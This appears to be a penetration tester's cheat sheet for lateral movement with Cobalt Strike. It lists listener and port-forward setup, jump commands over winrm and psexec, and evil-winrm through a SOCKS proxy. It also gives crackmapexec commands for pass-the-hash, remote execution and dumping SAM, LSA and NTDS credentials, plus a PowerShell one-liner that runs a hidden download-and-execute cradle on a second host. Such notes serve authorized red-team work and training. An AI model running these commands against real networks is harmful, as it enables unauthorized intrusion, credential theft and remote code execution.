Cobalt Strike

Lateral Movement

Initial Access

Use HTTP listener and scripted web delivery

General Lateral Movment

Set up an SMB listener and use that when moving with jump command

HTTP Shells

  • Set up a HTTP listener

    • HTTP host is the first target compromised (foothold machine)

    • HTTP Host (Stager) same as above

    • HTTP Port (C2) is 443

  • On foothold machine port forward to teamserver

    • rportfwd 443 <teamserver> 443

  • On foothold machine jump across

    • jump winrm <target> <HTTP listener above>

  • For further hops new listeners and portfwrds need to occur for any machine that cant talk to the foothold directly

Double Hop

When going over winrm and psexec you may encounter double hop issues same as usual.

jump psexec SMB

# After this use spawned session

Evil Winrm

Useful for when you need to pipe through a box that you cant get a beacon on. E.g. applocker

  • Have HTTP listener set up as above (for this named redir) with rportfwd

  • Set up scripted web delivery

    • Local Host = Foothold

    • Local port = 443

    • Listener = redir

    • Type = powershell x64

  • SOCKS proxy through foothold

    • socks 9051

  • Use evil-winrm (

    • proxychains evil-winrm -i <ip> -u Domain\username -p 'Password'

  • Pass creds and launch scripted web delivery on target2

    • $password = "Password" | ConvertTo-SecureString -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential("Domain\Username",$password); invoke-command -computername TARGET2 -Credential $cred -scriptblock {powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://FOOTHOLDIP:443/pivtest'))"}

    • Keep WINRM alive for session to stay alive (or migrate to another process)


Socks Proxy through as before
# Test login and get hostname 
crackmapexec smb <IP> -u <username> -p <password> [-d <domain>] [--local-auth]

# Pass the hash
crackmapexec smb <IP> -u <username> -H <hash>

# Execute Commands
crackmapexec -u <username> -p <password> -x whoami [--exec-method wmiexec/smbexec/atexec]

# Dumps
crackmapexec smb <ip> -u <username> -p <password> [--lsa] [--sam] [--ntds [vss]]


rundll32 C:\beacon.dll,Start

Passing Powershell creds

$password = "Password123" | ConvertTo-SecureString -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential("Domain\User",$password); invoke-command -computername -Credential $cred -scriptblock {whoami}

General Tips

  • Make_token is only for cleartext passwords

  • Rubeus asktgt doesnt work so well with the /domain flag set

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